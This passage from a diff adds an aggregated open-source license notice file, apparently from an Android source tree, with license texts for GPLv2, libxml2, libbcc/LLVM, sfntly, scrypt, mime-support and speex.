+void, and will automatically terminate your rights under this License.
+However, parties who have received copies, or rights, from you under
+this License will not have their licenses terminated so long as such
+parties remain in full compliance.
+
+  5. You are not required to accept this License, since you have not
+signed it.  However, nothing else grants you permission to modify or
+distribute the Program or its derivative works.  These actions are
+prohibited by law if you do not accept this License.  Therefore, by
+modifying or distributing the Program (or any work based on the
+Program), you indicate your acceptance of this License to do so, and
+all its terms and conditions for copying, distributing or modifying
+the Program or works based on it.
+
+  6. Each time you redistribute the Program (or any work based on the
+Program), the recipient automatically receives a license from the
+original licensor to copy, distribute or modify the Program subject to
+these terms and conditions.  You may not impose any further
+restrictions on the recipients' exercise of the rights granted herein.
+You are not responsible for enforcing compliance by third parties to
+this License.
+
+  7. If, as a consequence of a court judgment or allegation of patent
+infringement or for any other reason (not limited to patent issues),
+conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License.  If you cannot
+distribute so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you
+may not distribute the Program at all.  For example, if a patent
+license would not permit royalty-free redistribution of the Program by
+all those who receive copies directly or indirectly through you, then
+the only way you could satisfy both it and this License would be to
+refrain entirely from distribution of the Program.
+
+If any portion of this section is held invalid or unenforceable under
+any particular circumstance, the balance of the section is intended to
+apply and the section as a whole is intended to apply in other
+circumstances.
+
+It is not the purpose of this section to induce you to infringe any
+patents or other property right claims or to contest validity of any
+such claims; this section has the sole purpose of protecting the
+integrity of the free software distribution system, which is
+implemented by public license practices.  Many people have made
+generous contributions to the wide range of software distributed
+through that system in reliance on consistent application of that
+system; it is up to the author/donor to decide if he or she is willing
+to distribute software through any other system and a licensee cannot
+impose that choice.
+
+This section is intended to make thoroughly clear what is believed to
+be a consequence of the rest of this License.
+
+  8. If the distribution and/or use of the Program is restricted in
+certain countries either by patents or by copyrighted interfaces, the
+original copyright holder who places the Program under this License
+may add an explicit geographical distribution limitation excluding
+those countries, so that distribution is permitted only in or among
+countries not thus excluded.  In such case, this License incorporates
+the limitation as if written in the body of this License.
+
+  9. The Free Software Foundation may publish revised and/or new versions
+of the General Public License from time to time.  Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+Each version is given a distinguishing version number.  If the Program
+specifies a version number of this License which applies to it and "any
+later version", you have the option of following the terms and conditions
+either of that version or of any later version published by the Free
+Software Foundation.  If the Program does not specify a version number of
+this License, you may choose any version ever published by the Free Software
+Foundation.
+
+  10. If you wish to incorporate parts of the Program into other free
+programs whose distribution conditions are different, write to the author
+to ask for permission.  For software which is copyrighted by the Free
+Software Foundation, write to the Free Software Foundation; we sometimes
+make exceptions for this.  Our decision will be guided by the two goals
+of preserving the free status of all derivatives of our free software and
+of promoting the sharing and reuse of software generally.
+
+			    NO WARRANTY
+
+  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
+FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
+OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
+PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
+OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
+TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
+PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
+REPAIR OR CORRECTION.
+
+  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
+REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
+INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
+OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
+TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
+YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
+PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGES.
+
+		     END OF TERMS AND CONDITIONS
+
+	    How to Apply These Terms to Your New Programs
+
+  If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+  To do so, attach the following notices to the program.  It is safest
+to attach them to the start of each source file to most effectively
+convey the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+    <one line to give the program's name and a brief idea of what it does.>
+    Copyright (C) <year>  <name of author>
+
+    This program is free software; you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation; either version 2 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License
+    along with this program; if not, write to the Free Software
+    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+
+
+Also add information on how to contact you by electronic and paper mail.
+
+If the program is interactive, make it output a short notice like this
+when it starts in an interactive mode:
+
+    Gnomovision version 69, Copyright (C) year name of author
+    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+    This is free software, and you are welcome to redistribute it
+    under certain conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License.  Of course, the commands you use may
+be called something other than `show w' and `show c'; they could even be
+mouse-clicks or menu items--whatever suits your program.
+
+You should also get your employer (if you work as a programmer) or your
+school, if any, to sign a "copyright disclaimer" for the program, if
+necessary.  Here is a sample; alter the names:
+
+  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
+  `Gnomovision' (which makes passes at compilers) written by James Hacker.
+
+  <signature of Ty Coon>, 1 April 1989
+  Ty Coon, President of Vice
+
+This General Public License does not permit incorporating your program into
+proprietary programs.  If your program is a subroutine library, you may
+consider it more useful to permit linking proprietary applications with the
+library.  If this is what you want to do, use the GNU Library General
+Public License instead of this License.
+
+======================================================================
+external/libxml2/NOTICE
+
+Except where otherwise noted in the source code (e.g. the files hash.c,
+list.c and the trio files, which are covered by a similar licence but
+with different Copyright notices) all the files are:
+
+ Copyright (C) 1998-2012 Daniel Veillard.  All Rights Reserved.
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is fur-
+nished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in
+all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FIT-
+NESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+THE SOFTWARE.
+
+======================================================================
+frameworks/compile/libbcc/NOTICE
+
+==========================
+NOTICE file for libbcc.git
+==========================
+
+* NOTICE for lib/ExecutionEngine/, lib/ScriptCRT/, include and helper/.
+
+   Copyright (c) 2005-2011, The Android Open Source Project
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.
+
+
+                                 Apache License
+                           Version 2.0, January 2004
+                        http://www.apache.org/licenses/
+
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+   1. Definitions.
+
+      "License" shall mean the terms and conditions for use, reproduction,
+      and distribution as defined by Sections 1 through 9 of this document.
+
+      "Licensor" shall mean the copyright owner or entity authorized by
+      the copyright owner that is granting the License.
+
+      "Legal Entity" shall mean the union of the acting entity and all
+      other entities that control, are controlled by, or are under common
+      control with that entity. For the purposes of this definition,
+      "control" means (i) the power, direct or indirect, to cause the
+      direction or management of such entity, whether by contract or
+      otherwise, or (ii) ownership of fifty percent (50%) or more of the
+      outstanding shares, or (iii) beneficial ownership of such entity.
+
+      "You" (or "Your") shall mean an individual or Legal Entity
+      exercising permissions granted by this License.
+
+      "Source" form shall mean the preferred form for making modifications,
+      including but not limited to software source code, documentation
+      source, and configuration files.
+
+      "Object" form shall mean any form resulting from mechanical
+      transformation or translation of a Source form, including but
+      not limited to compiled object code, generated documentation,
+      and conversions to other media types.
+
+      "Work" shall mean the work of authorship, whether in Source or
+      Object form, made available under the License, as indicated by a
+      copyright notice that is included in or attached to the work
+      (an example is provided in the Appendix below).
+
+      "Derivative Works" shall mean any work, whether in Source or Object
+      form, that is based on (or derived from) the Work and for which the
+      editorial revisions, annotations, elaborations, or other modifications
+      represent, as a whole, an original work of authorship. For the purposes
+      of this License, Derivative Works shall not include works that remain
+      separable from, or merely link (or bind by name) to the interfaces of,
+      the Work and Derivative Works thereof.
+
+      "Contribution" shall mean any work of authorship, including
+      the original version of the Work and any modifications or additions
+      to that Work or Derivative Works thereof, that is intentionally
+      submitted to Licensor for inclusion in the Work by the copyright owner
+      or by an individual or Legal Entity authorized to submit on behalf of
+      the copyright owner. For the purposes of this definition, "submitted"
+      means any form of electronic, verbal, or written communication sent
+      to the Licensor or its representatives, including but not limited to
+      communication on electronic mailing lists, source code control systems,
+      and issue tracking systems that are managed by, or on behalf of, the
+      Licensor for the purpose of discussing and improving the Work, but
+      excluding communication that is conspicuously marked or otherwise
+      designated in writing by the copyright owner as "Not a Contribution."
+
+      "Contributor" shall mean Licensor and any individual or Legal Entity
+      on behalf of whom a Contribution has been received by Licensor and
+      subsequently incorporated within the Work.
+
+   2. Grant of Copyright License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      copyright license to reproduce, prepare Derivative Works of,
+      publicly display, publicly perform, sublicense, and distribute the
+      Work and such Derivative Works in Source or Object form.
+
+   3. Grant of Patent License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      (except as stated in this section) patent license to make, have made,
+      use, offer to sell, sell, import, and otherwise transfer the Work,
+      where such license applies only to those patent claims licensable
+      by such Contributor that are necessarily infringed by their
+      Contribution(s) alone or by combination of their Contribution(s)
+      with the Work to which such Contribution(s) was submitted. If You
+      institute patent litigation against any entity (including a
+      cross-claim or counterclaim in a lawsuit) alleging that the Work
+      or a Contribution incorporated within the Work constitutes direct
+      or contributory patent infringement, then any patent licenses
+      granted to You under this License for that Work shall terminate
+      as of the date such litigation is filed.
+
+   4. Redistribution. You may reproduce and distribute copies of the
+      Work or Derivative Works thereof in any medium, with or without
+      modifications, and in Source or Object form, provided that You
+      meet the following conditions:
+
+      (a) You must give any other recipients of the Work or
+          Derivative Works a copy of this License; and
+
+      (b) You must cause any modified files to carry prominent notices
+          stating that You changed the files; and
+
+      (c) You must retain, in the Source form of any Derivative Works
+          that You distribute, all copyright, patent, trademark, and
+          attribution notices from the Source form of the Work,
+          excluding those notices that do not pertain to any part of
+          the Derivative Works; and
+
+      (d) If the Work includes a "NOTICE" text file as part of its
+          distribution, then any Derivative Works that You distribute must
+          include a readable copy of the attribution notices contained
+          within such NOTICE file, excluding those notices that do not
+          pertain to any part of the Derivative Works, in at least one
+          of the following places: within a NOTICE text file distributed
+          as part of the Derivative Works; within the Source form or
+          documentation, if provided along with the Derivative Works; or,
+          within a display generated by the Derivative Works, if and
+          wherever such third-party notices normally appear. The contents
+          of the NOTICE file are for informational purposes only and
+          do not modify the License. You may add Your own attribution
+          notices within Derivative Works that You distribute, alongside
+          or as an addendum to the NOTICE text from the Work, provided
+          that such additional attribution notices cannot be construed
+          as modifying the License.
+
+      You may add Your own copyright statement to Your modifications and
+      may provide additional or different license terms and conditions
+      for use, reproduction, or distribution of Your modifications, or
+      for any such Derivative Works as a whole, provided Your use,
+      reproduction, and distribution of the Work otherwise complies with
+      the conditions stated in this License.
+
+   5. Submission of Contributions. Unless You explicitly state otherwise,
+      any Contribution intentionally submitted for inclusion in the Work
+      by You to the Licensor shall be under the terms and conditions of
+      this License, without any additional terms or conditions.
+      Notwithstanding the above, nothing herein shall supersede or modify
+      the terms of any separate license agreement you may have executed
+      with Licensor regarding such Contributions.
+
+   6. Trademarks. This License does not grant permission to use the trade
+      names, trademarks, service marks, or product names of the Licensor,
+      except as required for reasonable and customary use in describing the
+      origin of the Work and reproducing the content of the NOTICE file.
+
+   7. Disclaimer of Warranty. Unless required by applicable law or
+      agreed to in writing, Licensor provides the Work (and each
+      Contributor provides its Contributions) on an "AS IS" BASIS,
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+      implied, including, without limitation, any warranties or conditions
+      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+      PARTICULAR PURPOSE. You are solely responsible for determining the
+      appropriateness of using or redistributing the Work and assume any
+      risks associated with Your exercise of permissions under this License.
+
+   8. Limitation of Liability. In no event and under no legal theory,
+      whether in tort (including negligence), contract, or otherwise,
+      unless required by applicable law (such as deliberate and grossly
+      negligent acts) or agreed to in writing, shall any Contributor be
+      liable to You for damages, including any direct, indirect, special,
+      incidental, or consequential damages of any character arising as a
+      result of this License or out of the use or inability to use the
+      Work (including but not limited to damages for loss of goodwill,
+      work stoppage, computer failure or malfunction, or any and all
+      other commercial damages or losses), even if such Contributor
+      has been advised of the possibility of such damages.
+
+   9. Accepting Warranty or Additional Liability. While redistributing
+      the Work or Derivative Works thereof, You may choose to offer,
+      and charge a fee for, acceptance of support, warranty, indemnity,
+      or other liability obligations and/or rights consistent with this
+      License. However, in accepting such obligations, You may act only
+      on Your own behalf and on Your sole responsibility, not on behalf
+      of any other Contributor, and only if You agree to indemnify,
+      defend, and hold each Contributor harmless for any liability
+      incurred by, or claims asserted against, such Contributor by reason
+      of your accepting any such warranty or additional liability.
+
+   END OF TERMS AND CONDITIONS
+
+
+
+* NOTICE for runtime/ and lib/CodeGen/.
+  Note: The NOTICE is the same for another git project, external/llvm.git.
+
+==============================================================================
+LLVM Release License
+==============================================================================
+University of Illinois/NCSA
+Open Source License
+
+Copyright (c) 2003-2011 University of Illinois at Urbana-Champaign.
+All rights reserved.
+
+Developed by:
+
+    LLVM Team
+
+    University of Illinois at Urbana-Champaign
+
+    http://llvm.org
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of
+this software and associated documentation files (the "Software"), to deal with
+the Software without restriction, including without limitation the rights to
+use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
+of the Software, and to permit persons to whom the Software is furnished to do
+so, subject to the following conditions:
+
+    * Redistributions of source code must retain the above copyright notice,
+      this list of conditions and the following disclaimers.
+
+    * Redistributions in binary form must reproduce the above copyright notice,
+      this list of conditions and the following disclaimers in the
+      documentation and/or other materials provided with the distribution.
+
+    * Neither the names of the LLVM Team, University of Illinois at
+      Urbana-Champaign, nor the names of its contributors may be used to
+      endorse or promote products derived from this Software without specific
+      prior written permission.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
+FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  IN NO EVENT SHALL THE
+CONTRIBUTORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS WITH THE
+SOFTWARE.
+
+==============================================================================
+Copyrights and Licenses for Third Party Software Distributed with LLVM:
+==============================================================================
+The LLVM software contains code written by third parties.  Such software will
+have its own individual LICENSE.TXT file in the directory in which it appears.
+This file will describe the copyrights, license, and restrictions which apply
+to that code.
+
+The disclaimer of warranty in the University of Illinois Open Source License
+applies to all code in the LLVM Distribution, and nothing in any of the
+other licenses gives permission to use the names of the LLVM Team or the
+University of Illinois to endorse or promote products derived from this
+Software.
+
+The following pieces of software have additional or alternate copyrights,
+licenses, and/or restrictions:
+
+Program             Directory
+-------             ---------
+Autoconf            llvm/autoconf
+                    llvm/projects/ModuleMaker/autoconf
+                    llvm/projects/sample/autoconf
+CellSPU backend     llvm/lib/Target/CellSPU/README.txt
+Google Test         llvm/utils/unittest/googletest
+OpenBSD regex       llvm/lib/Support/{reg*, COPYRIGHT.regex}
+
+
+
+* NOTICE for tests/disassem.cpp and tests/disassem.h.
+
+/*      $NetBSD: disassem.c,v 1.14 2003/03/27 16:58:36 mycroft Exp $    */
+
+/*-
+ * Copyright (c) 1996 Mark Brinicombe.
+ * Copyright (c) 1996 Brini.
+ *
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ * 3. All advertising materials mentioning features or use of this software
+ *    must display the following acknowledgement:
+ *      This product includes software developed by Brini.
+ * 4. The name of the company nor the name of the author may be used to
+ *    endorse or promote products derived from this software without specific
+ *    prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY BRINI ``AS IS'' AND ANY EXPRESS OR IMPLIED
+ * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+ * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
+ * IN NO EVENT SHALL BRINI OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+ * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ * RiscBSD kernel project
+ *
+ * db_disasm.c
+ *
+ * Kernel disassembler
+ *
+ * Created      : 10/02/96
+ *
+ * Structured after the sparc/sparc/db_disasm.c by David S. Miller &
+ * Paul Kranenburg
+ *
+ * This code is not complete. Not all instructions are disassembled.
+ */
+
+======================================================================
+external/sfntly/LICENSE
+
+
+                                 Apache License
+                           Version 2.0, January 2004
+                        http://www.apache.org/licenses/
+
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+   1. Definitions.
+
+      "License" shall mean the terms and conditions for use, reproduction,
+      and distribution as defined by Sections 1 through 9 of this document.
+
+      "Licensor" shall mean the copyright owner or entity authorized by
+      the copyright owner that is granting the License.
+
+      "Legal Entity" shall mean the union of the acting entity and all
+      other entities that control, are controlled by, or are under common
+      control with that entity. For the purposes of this definition,
+      "control" means (i) the power, direct or indirect, to cause the
+      direction or management of such entity, whether by contract or
+      otherwise, or (ii) ownership of fifty percent (50%) or more of the
+      outstanding shares, or (iii) beneficial ownership of such entity.
+
+      "You" (or "Your") shall mean an individual or Legal Entity
+      exercising permissions granted by this License.
+
+      "Source" form shall mean the preferred form for making modifications,
+      including but not limited to software source code, documentation
+      source, and configuration files.
+
+      "Object" form shall mean any form resulting from mechanical
+      transformation or translation of a Source form, including but
+      not limited to compiled object code, generated documentation,
+      and conversions to other media types.
+
+      "Work" shall mean the work of authorship, whether in Source or
+      Object form, made available under the License, as indicated by a
+      copyright notice that is included in or attached to the work
+      (an example is provided in the Appendix below).
+
+      "Derivative Works" shall mean any work, whether in Source or Object
+      form, that is based on (or derived from) the Work and for which the
+      editorial revisions, annotations, elaborations, or other modifications
+      represent, as a whole, an original work of authorship. For the purposes
+      of this License, Derivative Works shall not include works that remain
+      separable from, or merely link (or bind by name) to the interfaces of,
+      the Work and Derivative Works thereof.
+
+      "Contribution" shall mean any work of authorship, including
+      the original version of the Work and any modifications or additions
+      to that Work or Derivative Works thereof, that is intentionally
+      submitted to Licensor for inclusion in the Work by the copyright owner
+      or by an individual or Legal Entity authorized to submit on behalf of
+      the copyright owner. For the purposes of this definition, "submitted"
+      means any form of electronic, verbal, or written communication sent
+      to the Licensor or its representatives, including but not limited to
+      communication on electronic mailing lists, source code control systems,
+      and issue tracking systems that are managed by, or on behalf of, the
+      Licensor for the purpose of discussing and improving the Work, but
+      excluding communication that is conspicuously marked or otherwise
+      designated in writing by the copyright owner as "Not a Contribution."
+
+      "Contributor" shall mean Licensor and any individual or Legal Entity
+      on behalf of whom a Contribution has been received by Licensor and
+      subsequently incorporated within the Work.
+
+   2. Grant of Copyright License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      copyright license to reproduce, prepare Derivative Works of,
+      publicly display, publicly perform, sublicense, and distribute the
+      Work and such Derivative Works in Source or Object form.
+
+   3. Grant of Patent License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      (except as stated in this section) patent license to make, have made,
+      use, offer to sell, sell, import, and otherwise transfer the Work,
+      where such license applies only to those patent claims licensable
+      by such Contributor that are necessarily infringed by their
+      Contribution(s) alone or by combination of their Contribution(s)
+      with the Work to which such Contribution(s) was submitted. If You
+      institute patent litigation against any entity (including a
+      cross-claim or counterclaim in a lawsuit) alleging that the Work
+      or a Contribution incorporated within the Work constitutes direct
+      or contributory patent infringement, then any patent licenses
+      granted to You under this License for that Work shall terminate
+      as of the date such litigation is filed.
+
+   4. Redistribution. You may reproduce and distribute copies of the
+      Work or Derivative Works thereof in any medium, with or without
+      modifications, and in Source or Object form, provided that You
+      meet the following conditions:
+
+      (a) You must give any other recipients of the Work or
+          Derivative Works a copy of this License; and
+
+      (b) You must cause any modified files to carry prominent notices
+          stating that You changed the files; and
+
+      (c) You must retain, in the Source form of any Derivative Works
+          that You distribute, all copyright, patent, trademark, and
+          attribution notices from the Source form of the Work,
+          excluding those notices that do not pertain to any part of
+          the Derivative Works; and
+
+      (d) If the Work includes a "NOTICE" text file as part of its
+          distribution, then any Derivative Works that You distribute must
+          include a readable copy of the attribution notices contained
+          within such NOTICE file, excluding those notices that do not
+          pertain to any part of the Derivative Works, in at least one
+          of the following places: within a NOTICE text file distributed
+          as part of the Derivative Works; within the Source form or
+          documentation, if provided along with the Derivative Works; or,
+          within a display generated by the Derivative Works, if and
+          wherever such third-party notices normally appear. The contents
+          of the NOTICE file are for informational purposes only and
+          do not modify the License. You may add Your own attribution
+          notices within Derivative Works that You distribute, alongside
+          or as an addendum to the NOTICE text from the Work, provided
+          that such additional attribution notices cannot be construed
+          as modifying the License.
+
+      You may add Your own copyright statement to Your modifications and
+      may provide additional or different license terms and conditions
+      for use, reproduction, or distribution of Your modifications, or
+      for any such Derivative Works as a whole, provided Your use,
+      reproduction, and distribution of the Work otherwise complies with
+      the conditions stated in this License.
+
+   5. Submission of Contributions. Unless You explicitly state otherwise,
+      any Contribution intentionally submitted for inclusion in the Work
+      by You to the Licensor shall be under the terms and conditions of
+      this License, without any additional terms or conditions.
+      Notwithstanding the above, nothing herein shall supersede or modify
+      the terms of any separate license agreement you may have executed
+      with Licensor regarding such Contributions.
+
+   6. Trademarks. This License does not grant permission to use the trade
+      names, trademarks, service marks, or product names of the Licensor,
+      except as required for reasonable and customary use in describing the
+      origin of the Work and reproducing the content of the NOTICE file.
+
+   7. Disclaimer of Warranty. Unless required by applicable law or
+      agreed to in writing, Licensor provides the Work (and each
+      Contributor provides its Contributions) on an "AS IS" BASIS,
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+      implied, including, without limitation, any warranties or conditions
+      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+      PARTICULAR PURPOSE. You are solely responsible for determining the
+      appropriateness of using or redistributing the Work and assume any
+      risks associated with Your exercise of permissions under this License.
+
+   8. Limitation of Liability. In no event and under no legal theory,
+      whether in tort (including negligence), contract, or otherwise,
+      unless required by applicable law (such as deliberate and grossly
+      negligent acts) or agreed to in writing, shall any Contributor be
+      liable to You for damages, including any direct, indirect, special,
+      incidental, or consequential damages of any character arising as a
+      result of this License or out of the use or inability to use the
+      Work (including but not limited to damages for loss of goodwill,
+      work stoppage, computer failure or malfunction, or any and all
+      other commercial damages or losses), even if such Contributor
+      has been advised of the possibility of such damages.
+
+   9. Accepting Warranty or Additional Liability. While redistributing
+      the Work or Derivative Works thereof, You may choose to offer,
+      and charge a fee for, acceptance of support, warranty, indemnity,
+      or other liability obligations and/or rights consistent with this
+      License. However, in accepting such obligations, You may act only
+      on Your own behalf and on Your sole responsibility, not on behalf
+      of any other Contributor, and only if You agree to indemnify,
+      defend, and hold each Contributor harmless for any liability
+      incurred by, or claims asserted against, such Contributor by reason
+      of your accepting any such warranty or additional liability.
+
+   END OF TERMS AND CONDITIONS
+
+   APPENDIX: How to apply the Apache License to your work.
+
+      To apply the Apache License to your work, attach the following
+      boilerplate notice, with the fields enclosed by brackets "[]"
+      replaced with your own identifying information. (Don't include
+      the brackets!)  The text should be enclosed in the appropriate
+      comment syntax for the file format. We also recommend that a
+      file or class name and description of purpose be included on the
+      same "printed page" as the copyright notice for easier
+      identification within third-party archives.
+
+   Copyright 2011 Google Inc. All Rights Reserved.
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+   You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.
+
+
+======================================================================
+external/scrypt/NOTICE
+
+/*-
+ * Copyright 2009 Colin Percival
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ * This file was originally written by Colin Percival as part of the Tarsnap
+ * online backup system.
+ */
+
+/*
+ * version 20110505
+ * D. J. Bernstein
+ * Public domain.
+ *
+ * Based on crypto_core/salsa208/armneon/core.c from SUPERCOP 20130419
+ */
+
+======================================================================
+external/mime-support/LICENSE
+
+Format: https://www.debian.org/doc/packaging-manuals/copyright-format/1.0/
+Source: git://anonscm.debian.org/collab-maint/mime-support.git
+
+Files: *
+Copyright: public-domain
+License: ad-hoc
+ This package was written by Brian White <bcwhite@pobox.com> and others.
+ It contains public information compiled from around the 'net and many people.
+ .
+ The "update-mime" program was written by Brian White and has been
+ placed in the public domain.
+
+
+======================================================================
+external/speex/NOTICE
+
+Copyright 2002-2008 	Xiph.org Foundation
+Copyright 2002-2008 	Jean-Marc Valin
+Copyright 2005-2007	Analog Devices Inc.
+Copyright 2005-2008	Commonwealth Scientific and Industrial Research 
+                        Organisation (CSIRO)
